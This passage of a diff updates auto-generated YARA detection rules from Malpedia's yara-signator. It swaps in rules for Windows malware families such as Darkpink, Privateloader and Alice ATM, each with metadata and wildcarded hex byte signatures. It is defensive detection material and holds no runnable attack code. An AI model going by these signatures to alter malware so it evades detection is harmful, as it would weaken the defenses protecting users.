-		$sequence_7 = { c645aa00 c645ab6b c645ac00 c645ad48 c645ae00 c645af00 c645b000 }
-		$sequence_8 = { c644246205 c644246347 c644246405 c64424655a c644246605 c644246727 c644246805 }
-		$sequence_9 = { 660f28b870024300 660f54f0 660f5cc6 660f59f4 660f5cf2 f20f58fe 660f59c4 }
+		$sequence_0 = { 740c 8b4f0c e8???????? 85c0 }
+		$sequence_1 = { 740b 8b0f e8???????? 85c0 }
+		$sequence_2 = { 33c9 4c8d05e3d40000 488d15e4d40000 e8???????? 4885c0 740f }
+		$sequence_3 = { 0f8517030000 488d0d58ad0100 ff15???????? 4885c0 7412 }
+		$sequence_4 = { 4c8d058bfb0000 488b45e0 48c1e820 85c0 755d 8b45e0 }
+		$sequence_5 = { 33d2 660f1344243c 33c9 e8???????? 59 }
+		$sequence_6 = { f7d8 1bc0 40 85c0 750b 46 3b37 }
+		$sequence_7 = { c1fa06 6bc838 8b0495f8a00110 f644082801 7422 8d4508 8975f8 }
+		$sequence_8 = { 745c ffc1 413bc8 72f1 4885ff }
+		$sequence_9 = { 660f58e0 660fc5c400 25f0070000 660f28a050680110 660f28b840640110 660f54f0 660f5cc6 }
+		$sequence_10 = { 7408 8b442430 8bc8 cd29 488d0df6980100 }
+		$sequence_11 = { 03f3 03c3 894508 833e00 7447 8b7df0 8b08 }
+		$sequence_12 = { 488b03 833800 7513 488d15e3a70000 488d0dbca70000 }
+		$sequence_13 = { 33c0 c3 56 e8???????? ff15???????? }
 
 	condition:
-		7 of them and filesize <501760
+		7 of them and filesize <350208
 }
-rule MALPEDIA_Win_Evilbunny_Auto : FILE
+rule MALPEDIA_Win_Darkpink_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b83805d-7841-5694-8ab4-bb4f9f22ae07"
+		id = "5843ba22-3e12-5b07-a302-af204fd4f478"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.evilbunny_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkpink_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "7c88ed9ce9cea56ac78c56ce0f41ba384f06b92b5a02fe2a2de304167eb32f00"
+		logic_hash = "f794d5918ecf33b4e0beff127be6289d027ab1ea81bf4922e3a718a3afdf8df9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168341,32 +175542,32 @@ rule MALPEDIA_Win_Evilbunny_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4dec 8b5104 8b45ec 8b4804 8b12 8bf4 51 }
-		$sequence_1 = { eb09 8b450c 8b80b0d91a00 3bf0 7e44 83ee07 eb3f }
-		$sequence_2 = { c1e104 8b5508 8b4220 8d4c08f0 8b5508 894a1c 8b4508 }
-		$sequence_3 = { 8b4df8 51 e8???????? 83c404 83c028 50 6a00 }
-		$sequence_4 = { e8???????? 83c40c 8b55f8 8b4204 50 68???????? 8b4d08 }
-		$sequence_5 = { e8???????? 83c40c 837dd808 7308 8b45d8 89458c eb07 }
-		$sequence_6 = { c1ea0a 33c2 038558ffffff 8b8d38ffffff c1e907 8b9538ffffff c1e219 }
-		$sequence_7 = { e8???????? 034508 50 e8???????? 83c40c 8b45f4 50 }
-		$sequence_8 = { c7000b000000 e9???????? 8b4d0c 8b5108 52 6a00 6a05 }
-		$sequence_9 = { 8b5598 8b45f8 8902 8b4598 52 8bcd 50 }
+		$sequence_0 = { 8b048d442a4000 ffe0 f7c703000000 7413 }
+		$sequence_1 = { 57 50 683f000f00 6a00 68???????? 6801000080 }
+		$sequence_2 = { c3 c705????????08924100 b001 c3 68???????? e8???????? c70424???????? }
+		$sequence_3 = { 8d41fc 50 56 57 e8???????? 57 }
+		$sequence_4 = { 8b85b0f8ffff 0fb70485c43c4100 8d0485c0334100 50 8d8590faffff 03c7 50 }
+		$sequence_5 = { 33f6 8b86f09d4100 85c0 740e }
+		$sequence_6 = { 68???????? ff75f4 ffd6 85c0 0f85ca000000 50 8d45f8 }
+		$sequence_7 = { 8b0495f09d4100 f644082801 7421 57 }
+		$sequence_8 = { e8???????? 6a44 8d45ac 6a00 50 }
+		$sequence_9 = { 6a26 58 0fb60c85c63c4100 0fb63485c73c4100 8bf9 8985b0f8ffff c1e702 }
 
 	condition:
-		7 of them and filesize <1695744
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Asprox_Auto : FILE
+rule MALPEDIA_Win_Privateloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "828c56dd-0390-5296-8de7-1a48d10f0f57"
+		id = "704976b4-103d-5caa-b3a7-f03a44637bd7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.asprox_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.privateloader_auto.yar#L1-L183"
 		license_url = "N/A"
-		logic_hash = "3b610e4cac05eeb099f6aceb2af12383510de1c04c209adb95ec16fa7dbc09d7"
+		logic_hash = "15e13900aae7d6be3cc889a3774b293d4c50bba5cbabc1926697368cc70d28fc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168380,32 +175581,41 @@ rule MALPEDIA_Win_Asprox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 740f 6a00 ff15???????? 50 ff15???????? ff15???????? }
-		$sequence_1 = { ff15???????? 6a00 6a00 8b5518 52 8b45c4 }
-		$sequence_2 = { 898558ffffff 8b8560ffffff 898570ffffff 8b4ddc 898d30ffffff c78534ffffff00000000 }
-		$sequence_3 = { 0fb655fd 83fa01 0f8503010000 c6859ffeffff00 68???????? ff15???????? 8985a4feffff }
-		$sequence_4 = { ff45fc 83c004 817dfcff000000 7ede 83a34404000000 ba00010000 8d8348040000 }
-		$sequence_5 = { 8d849d20feffff 894dc0 8945b0 8b00 8bcf 2bc8 895dbc }
-		$sequence_6 = { 51 8b952cffffff 52 ff15???????? 898558ffffff 8b8560ffffff 898570ffffff }
-		$sequence_7 = { 57 395d08 0f8498000000 8b750c 3bf3 0f848d000000 8b7d10 }
-		$sequence_8 = { 50 ff15???????? 898558ffffff 8b4dd8 }
-		$sequence_9 = { 8d840a00100000 50 6a00 8b0d???????? 51 ff15???????? 8945fc }
+		$sequence_0 = { 8965ec 8b55ec 8955e8 8d45f8 }
+		$sequence_1 = { 894df4 8b55fc 837a1410 7209 }
+		$sequence_2 = { 0fb64dec 85c9 7408 8b55fc 8b02 8945e8 }
+		$sequence_3 = { 8b4dec 8b5508 895110 8b4508 8945e4 8b4de8 034de4 }
+		$sequence_4 = { 8b45d8 8b4ddc 8b55d0 8b75d4 }
+		$sequence_5 = { 8b4dec e8???????? 8b4df0 e8???????? 8845fc }
+		$sequence_6 = { 8975d4 8b45d0 8b55d4 5e }
+		$sequence_7 = { 8b4de8 8b75ec 2bc8 1bf2 894de0 8975e4 a1???????? }
+		$sequence_8 = { e8???????? 33d2 b93f000000 f7f1 }
+		$sequence_9 = { 8b4590 8b4d94 8b5588 8b758c }
+		$sequence_10 = { a3???????? 33c0 5e c3 3b0d???????? }
+		$sequence_11 = { 896c2404 8bec 81ec68010000 a1???????? 33c5 8945fc 56 }
+		$sequence_12 = { d81d???????? c9 b8ffffffff 99 c3 56 8b35???????? }
+		$sequence_13 = { 13f1 83c201 8955e0 83d600 }
+		$sequence_14 = { 6a04 8d4310 50 6a06 }
+		$sequence_15 = { 7507 6800008000 eb02 6a00 }
+		$sequence_16 = { 8b45e4 50 51 52 }
+		$sequence_17 = { 0bc8 56 57 7529 }
+		$sequence_18 = { 03d0 8b4d9c 13f1 83c201 }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <3670016
 }
-rule MALPEDIA_Win_Babar_Auto : FILE
+rule MALPEDIA_Win_Stowaway_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "907c27e3-2fb8-508f-9c67-d8826ced6045"
+		id = "e2cf60b5-46e1-5dce-b54e-4eae51e51190"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babar"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babar_auto.yar#L1-L166"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stowaway_auto.yar#L1-L110"
 		license_url = "N/A"
-		logic_hash = "8e0331df8b3130917de8e5e3d5d2fa36fbe1f95285a5ec05160d56f936d6e114"
+		logic_hash = "ba9de78202a4b50e7d737f5edb3449679cab84813a913aa4817b5b87ab2181a8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168419,38 +175629,31 @@ rule MALPEDIA_Win_Babar_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bd6 0f86f9feffff 8b54243c 8b442438 }
-		$sequence_1 = { 3bd6 0f8c7affffff 8bbc24d0000000 ddd9 }
-		$sequence_2 = { 3bd5 7e47 8d0c9500000000 2bd9 }
-		$sequence_3 = { 3bd5 0f8671ffffff 8144241890020000 ddd8 816c242880020000 83c710 81c680020000 }
-		$sequence_4 = { 46 8d44af08 8d5708 8d4cb500 d942f8 }
-		$sequence_5 = { 3bd6 0f82eefeffff 8b742458 03f5 }
-		$sequence_6 = { 3bd6 721b 57 8bcb }
-		$sequence_7 = { 3bd6 72d9 33f6 eb08 }
-		$sequence_8 = { 8906 0f8496000000 50 ffd7 894604 8b0d???????? 894e08 }
-		$sequence_9 = { 8d8407d8988069 c1c007 8bfa 03c6 33fe }
-		$sequence_10 = { 803800 8b0d???????? 741d 803900 7506 8b0d???????? 8a11 }
-		$sequence_11 = { 23d1 33d0 0354244c 8d94322108b449 c1ca0a 03d1 8bf1 }
-		$sequence_12 = { 57 8d3c85a09e0110 8b07 03c3 8a4824 }
-		$sequence_13 = { e8???????? 57 e8???????? 83c410 8d842480000000 50 ffd5 }
-		$sequence_14 = { 0fb64e04 884804 8b5604 c1ea08 885005 0fb64e06 }
-		$sequence_15 = { 8b4b04 55 8b2d???????? 68???????? }
+		$sequence_0 = { 8b07 09c0 743c 8b5f04 }
+		$sequence_1 = { 09c0 7407 8903 83c304 ebe1 }
+		$sequence_2 = { 50 54 6a04 53 57 ffd5 8d879f010000 }
+		$sequence_3 = { 89f9 57 48 f2ae 55 }
+		$sequence_4 = { 8d879f010000 80207f 8060287f 58 50 }
+		$sequence_5 = { 95 8a07 47 08c0 74dc 89f9 57 }
+		$sequence_6 = { 76e8 77e8 78e8 79e8 }
+		$sequence_7 = { 8a7cbe46 a3???????? 4e fb b501 }
+		$sequence_8 = { 78e8 79e8 7ae8 ce f67be8 7ce8 7de8 }
 
 	condition:
-		7 of them and filesize <1294336
+		7 of them and filesize <8003584
 }
-rule MALPEDIA_Win_Colibri_Auto : FILE
+rule MALPEDIA_Win_Teleport_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "92334149-98b7-5fb0-8e08-056f3f401efb"
+		id = "20d896b0-1f61-5a48-80a3-7c8e4c6de03e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.colibri_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.teleport_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "70a6e8c65b49a36e967be3c5e646c3791445447505e2691dc2dc449a828d2e49"
+		logic_hash = "a391399ac3b60b63dbd3a4a77f0c3e70c536a7803fbc2f2dce00674fad1b8479"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168464,34 +175667,34 @@ rule MALPEDIA_Win_Colibri_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4dfc 8d4901 e8???????? 56 56 8bd8 }
-		$sequence_1 = { 0f4575f4 59 e8???????? ba1f90113c 8bc8 e8???????? ffd0 }
-		$sequence_2 = { 83c602 0fb706 8bd0 6685c0 75e2 8933 33c0 }
-		$sequence_3 = { 8bf1 8bfa 897df8 85f6 7502 }
-		$sequence_4 = { 897c2440 57 eba2 8364243c00 eb1b }
-		$sequence_5 = { 8d8578f9ffff 33ff 6804010000 50 57 6a02 59 }
-		$sequence_6 = { 8365f800 50 e8???????? 59 85c0 7413 8b4dfc }
-		$sequence_7 = { 668945a4 6689855effffff 66894d96 59 6a76 58 6a69 }
-		$sequence_8 = { 7445 8b4878 85c9 743e 33ff 39787c 7437 }
-		$sequence_9 = { c1e81f 8d0448 8b0c85c0124000 8d45d4 }
+		$sequence_0 = { 50 8945fc 68???????? c745f001000000 }
+		$sequence_1 = { 57 8bfa 897de8 89b7a0000000 8b4104 8987a4000000 8b5108 }
+		$sequence_2 = { 8806 46 89b504ffffff 8b8d04ffffff 0fb6f0 8d85f8feffff 56 }
+		$sequence_3 = { c685effeffff00 50 6a00 6a00 c785e0feffff14000000 c785e4feffff00000000 c785f0feffff01000000 }
+		$sequence_4 = { 8d8d80f7ffff 899d68f7ffff e8???????? 83cb08 f6c304 740e }
+		$sequence_5 = { 8b35???????? 6a28 85f6 7451 c78560f7ffff80b54200 e8???????? 898584f7ffff }
+		$sequence_6 = { 668945a8 eb17 837e3408 8d4620 c7401000000000 7202 8b00 }
+		$sequence_7 = { 330c8560c24200 0fb6c2 330c8560b64200 8bc3 c1e810 894de0 898f94000000 }
+		$sequence_8 = { 1bc0 83c801 85c0 0f8400010000 b8???????? 8d8d60fdffff 6690 }
+		$sequence_9 = { 894110 7208 8b09 898d74ffffff 8d0436 50 }
 
 	condition:
-		7 of them and filesize <51200
+		7 of them and filesize <458752
 }
-rule MALPEDIA_Win_Moker_Auto : FILE
+rule MALPEDIA_Win_Herpes_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18389526-a462-5233-a3a7-297ee29d064f"
+		id = "81a5deba-39e3-5a1f-937c-6696c1e1bbb2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moker_auto.yar#L1-L160"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.herpes_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "12a75630b6f84d2ec097d0e96068cb391171b00fda112afc8eea40b8efef358b"
+		logic_hash = "e0891dbd163cc34c7d236958d6844c054a085f2a34f7c0d3c53aa2f138d5b650"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -168503,38 +175706,32 @@ rule MALPEDIA_Win_Moker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0302 8945d4 8b4dd4 83c102 }
-		$sequence_1 = { 0302 8945e8 eb09 8b45e8 }
-		$sequence_2 = { 0302 8945e8 8b4df8 8b55fc }
-		$sequence_3 = { 0302 50 e8???????? 83c404 3b450c 750b 8b4df0 }
-		$sequence_4 = { 0301 8945e0 e8???????? 8b55e8 }
-		$sequence_5 = { 0302 8945dc 8b45dc 83c002 }
-		$sequence_6 = { 6a00 6a04 6a01 68000000c0 }
-		$sequence_7 = { 0100 83c414 85c0 7502 eb0a }
-		$sequence_8 = { 89e5 ff7508 ed 2e5c 034508 }
-		$sequence_9 = { 48 8b7c2428 48 39f7 7413 fc }
-		$sequence_10 = { 49 8b4c2408 ffd0 48 }
-		$sequence_11 = { d16000 d0806200a501 40 00b070e000e0 31e0 00d5 31c0 }
-		$sequence_12 = { 880424 49 89442430 49 89742458 66813e4d5a }
-		$sequence_13 = { 50 51 52 48 }
-		$sequence_14 = { c20800 55 89e5 ff750c ed }
-		$sequence_15 = { 89e5 60 8b7d08 6887000000 ed }
+		$sequence_0 = { 7303 8d4570 ffb580000000 50 8b45f0 03c7 }
+		$sequence_1 = { 8d9424380d0000 52 ffd6 eb30 6a38 8d4c241c 51 }
+		$sequence_2 = { 68???????? eb05 68???????? 56 ffd7 bb05000000 399d64ffffff }
+		$sequence_3 = { 68???????? 89869c010000 ffb604020000 ffd7 68???????? }
+		$sequence_4 = { 64a300000000 b80f000000 33ff 8985e4feffff 89bde0feffff }
+		$sequence_5 = { 57 ff15???????? 5f 8b4dfc 33cd e8???????? }
+		$sequence_6 = { ff15???????? 85c0 742a 8b959cfdffff 52 e8???????? }
+		$sequence_7 = { 39bdd4fcffff 7302 8bc3 83ec1c 8bf4 }
+		$sequence_8 = { 52 ffd6 68???????? 8d858ffeffff 50 }
+		$sequence_9 = { 52 6a00 89bde0fcffff ff15???????? 85c0 745e 8d85e4fcffff }
 
 	condition:
-		7 of them and filesize <1761280
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Unidentified_006_Auto : FILE
+rule MALPEDIA_Win_Vendetta_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d29f273-95a4-58bd-87cd-6ac677036b5c"
+		id = "966ae160-05eb-53d3-b86d-ed42268f2f0c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_006_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vendetta_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "dd723dd2c53afa22a9c28d9c9c06ec724a63cc0cfcf78b59a425b4cdf0fd8bc1"
+		logic_hash = "4fce9b15fe513b7322e530a7cc2cb9b1afb7d5162c1238338f15db6a45fbd5fd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168548,32 +175745,32 @@ rule MALPEDIA_Win_Unidentified_006_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3907 7417 833e00 7408 ff36 e8???????? 59 }
-		$sequence_1 = { 6a00 8d45fc 897dfc 50 8d45f8 50 6a00 }
-		$sequence_2 = { 85c9 7410 8b55f4 85d2 7409 e8???????? 894708 }
-		$sequence_3 = { 8bf0 57 56 e8???????? 83c410 33c0 }
-		$sequence_4 = { 85f6 7410 57 8b7d0c 2bf8 }
-		$sequence_5 = { 0fb6875c204000 47 03c6 83c603 25ff000000 }
-		$sequence_6 = { eb45 8b7510 85f6 743c }
-		$sequence_7 = { 8b4dfc 83c40c 8bf7 8bd7 85c9 7421 83ff0c }
-		$sequence_8 = { 33ff 53 ff15???????? 53 ff15???????? }
-		$sequence_9 = { 57 6a40 8bc2 33ff 6800300000 50 }
+		$sequence_0 = { 8b04c5e06f4100 5d c3 33c0 5d }
+		$sequence_1 = { 83c408 84c0 0f845d010000 6a00 51 0bf9 }
+		$sequence_2 = { 660f2815???????? f20f59db 660f282d???????? 660f59f5 660f28aa30914100 }
+		$sequence_3 = { 83a500fcffff00 51 8d8df8fbffff e8???????? 898500fcffff }
+		$sequence_4 = { 8b4508 dd00 ebc6 c745e0d8924100 e9???????? c745e0e0924100 }
+		$sequence_5 = { 6a30 eb27 3bcb 7f0e 7c08 81fa0000800c 7704 }
+		$sequence_6 = { 7309 8b04c5e06f4100 5d c3 33c0 5d c3 }
+		$sequence_7 = { 85c0 7433 8bce e8???????? 8bf8 }
+		$sequence_8 = { 33c9 8bc1 3914c5b89b4100 7408 40 83f81d 7cf1 }
+		$sequence_9 = { 53 8d85f0f7ffff 50 56 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <296960
 }
-rule MALPEDIA_Win_Royalcli_Auto : FILE
+rule MALPEDIA_Win_Alice_Atm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8a3d9888-c19a-51e8-8633-e1429e45af66"
+		id = "66f601ee-4bc7-50a3-954d-4444abf4a52f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.royalcli_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alice_atm_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "5cdfe5e738245420de8a121061e185e2740c336e09d01f0babed3f279bcde56b"
+		logic_hash = "5f587bc558ca0a42c8c96fe5a1cfb47b3decdd71da86c983392de940e1606224"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168587,32 +175784,32 @@ rule MALPEDIA_Win_Royalcli_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 41 3bcf 7cb5 56 }
-		$sequence_1 = { e8???????? 33f6 83c42c 3bc6 0f8c19050000 83bda4feffff1c 0f8c0c050000 }
-		$sequence_2 = { 5d c3 56 ff15???????? 5b 5f 33c0 }
-		$sequence_3 = { 898dccf9ffff 7d10 33c0 8b4dfc }
-		$sequence_4 = { 8b08 8d954cf7ffff 52 68???????? }
-		$sequence_5 = { 33f6 ff15???????? e9???????? 8b4708 }
-		$sequence_6 = { 6a01 50 e8???????? 56 8945dc e8???????? 8b55e0 }
-		$sequence_7 = { 83c414 8955e4 2bd0 8d9b00000000 }
-		$sequence_8 = { 8bbdd4f9ffff 8b9dc4f9ffff 807c3b0f00 751c 8b4b08 8b5508 }
-		$sequence_9 = { 50 e8???????? 6820010000 8d8dc0fdffff 56 51 e8???????? }
+		$sequence_0 = { ff75f8 8f45fc ff7508 e8???????? 8b45fc }
+		$sequence_1 = { 0fb7c0 8945f8 8b7d10 83ff00 0f86c2000000 }
+		$sequence_2 = { c9 c20c00 55 8bec 81c4a4feffff }
+		$sequence_3 = { 894609 837f0414 7305 8b5704 }
+		$sequence_4 = { 897dfc 8d9df6fdffff 53 ff7508 e8???????? 0bc0 }
+		$sequence_5 = { 57 e8???????? 0bc0 0f848b000000 53 6804010000 }
+		$sequence_6 = { 53 e8???????? 57 6806020000 56 }
+		$sequence_7 = { 50 68???????? 68???????? 8d45e8 50 68???????? 6a05 }
+		$sequence_8 = { 6a00 6a00 6809100000 ff7320 e8???????? 8945fc }
+		$sequence_9 = { 0f85ce000000 68ea030000 ff7508 e8???????? 8bf8 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Lowball_Auto : FILE
+rule MALPEDIA_Win_Newbounce_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5424f572-46b4-58bc-b4a0-f5f116f9edc3"
+		id = "70b5f47a-ee55-5897-8fcd-06a813c41881"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lowball_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newbounce_auto.yar#L1-L151"
 		license_url = "N/A"
-		logic_hash = "40672e1fab5ab37bc1a93541afc7340032670ae9b7325b888c89c49deec74a07"
+		logic_hash = "53d4154f041c8f5d8c7be0de086b650af8bff8de758570421d79234a0be341f3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168626,32 +175823,37 @@ rule MALPEDIA_Win_Lowball_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8436010000 8b942430060000 33c9 85d2 740c 8bfa }
-		$sequence_1 = { ff54242c 5f 5e 5d 33c0 }
-		$sequence_2 = { 8d4f01 51 e8???????? 56 8bd8 ff15???????? }
-		$sequence_3 = { 68???????? f3a4 6a00 ff54242c 6810270000 ff15???????? bf???????? }
-		$sequence_4 = { 85ff 897c240c 0f848c000000 8b942420020000 55 }
-		$sequence_5 = { c1e902 f3a5 8bcb 8d84244c0d0000 83e103 50 }
-		$sequence_6 = { 83c410 85c0 752d 68b80b0000 ffd3 8d8c24400a0000 8d94241c010000 }
-		$sequence_7 = { 8bc1 8bf7 8bfa 8d942434070000 c1e902 f3a5 8bc8 }
-		$sequence_8 = { ff15???????? 83c404 89442410 b905000000 be???????? }
-		$sequence_9 = { 6a00 6a00 68bb010000 51 56 }
+		$sequence_0 = { 83e00f 7e05 2bf0 83c610 }
+		$sequence_1 = { ff15???????? 85c0 0f844b010000 ba28000000 }
+		$sequence_2 = { ff15???????? 85c0 0f8437020000 8b4c2428 }
+		$sequence_3 = { ff15???????? 85c0 0f8436020000 4889bc2428010000 c784242001000022000000 c784241801000073252000 c78424100100006b2d2000 }
+		$sequence_4 = { 75f5 49ffc8 75eb 488d8104020000 }
+		$sequence_5 = { e8???????? cc b201 488bcf e8???????? 4c8d1d8f920100 488d5547 }
+		$sequence_6 = { 75f2 ebe3 488d154ac20100 498bcc 4d8bc7 }
+		$sequence_7 = { 75f5 49ffc9 75e8 488d8e54030000 }
+		$sequence_8 = { 81e3c0000000 0bf3 c1ee06 0b14b5b0876300 }
+		$sequence_9 = { 81e300000600 c1ea14 8b1495b0896300 81e6000f0000 }
+		$sequence_10 = { 81e300e00100 0bf3 c1ee0d 0b0cb5b0886300 }
+		$sequence_11 = { 81e2ff000000 8b0c8d48436300 8b1c9d48476300 33cb 8b1c85484b6300 2bcb }
+		$sequence_12 = { 81e2ff000000 c1e808 c1e208 53 }
+		$sequence_13 = { 81e3001e0000 8bef 81e50000e001 0bf5 c1ee15 8b34b5b08d6300 }
+		$sequence_14 = { 81e3001e0000 8bd5 81e280010000 0bda 8b14b5b08d6300 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <8637440
 }
-rule MALPEDIA_Win_Termite_Auto : FILE
+rule MALPEDIA_Win_M0Yv_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f52e0f9c-00a2-57d7-aba9-0dbbb1d1c2e2"
+		id = "13583ad1-2b04-58e4-9f81-2e107221c7c3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.termite_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.m0yv_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "cc787c4fe1eac82cec1ddbf65768a64c7a8c2c3d8dd4b766767f73077448495f"
+		logic_hash = "885921d8c153e05a9fb6cddfe964abb6a41c6e3fc24a745c88fdae391a38b5ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168665,32 +175867,32 @@ rule MALPEDIA_Win_Termite_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4508 c1e003 89c2 c1e206 01d0 05???????? 8d5004 }
-		$sequence_1 = { e8???????? c744240814000000 8d45dc 89442404 8b45f4 890424 }
-		$sequence_2 = { c744241cffffffff c74424188cd44000 c7442414ffffffff 8b4510 89442410 8b450c 8944240c }
-		$sequence_3 = { 837dfc00 75d7 b800000000 c9 c3 55 }
-		$sequence_4 = { 8b10 a1???????? 8b4d08 894c2408 89542404 890424 e8???????? }
